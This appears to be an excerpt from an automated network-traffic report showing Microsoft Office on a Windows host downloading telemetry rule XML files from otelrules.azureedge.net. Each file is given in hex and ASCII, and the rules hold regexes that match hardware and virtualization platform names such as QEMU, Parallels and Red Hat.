3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:29 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232729Z-16547b76f7fwm7vghC1DFW900s00000002gg00000000k3kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:29 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:29 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232729Z-16547b76f7ff9zf4hC1DFW2pfc00000002hg00000000duud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:29 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 93022022-f01e-00aa-73a0-368521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232729Z-164f84587bfjxw6fhC1DFWq944000000055g0000000060u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 23:27:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb1a68b3-601e-0001-569b-38faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232729Z-1866b5c5fbbpxkkxhC1DFWhvmc00000005c0000000000vmk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:29 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232729Z-164f84587bf6n6jwhC1DFW90fn000000045000000000d8ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:30 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232730Z-16547b76f7fl5zvnhC1DFWtk9g00000003d000000000bs0q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:30 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232730Z-164f84587bf6h2bxhC1DFWbcm8000000051g00000000txs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:30 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232730Z-164f84587bfs5tz9hC1DFW9a3w000000055g000000000cus x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:30 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:30 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 3e2bc75c-901e-0048-059c-37b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232730Z-1866b5c5fbbg9tvxhC1DFWy9mg00000000r000000000nwm3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:30 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:30 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232730Z-1866b5c5fbbzzh8chC1DFWdrc400000004qg000000006s4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:31 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232731Z-1866b5c5fbbb286shC1DFWx97800000001cg00000000f2yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:31 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232731Z-1866b5c5fbblmqrkhC1DFWf9ns00000002zg00000000nhxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
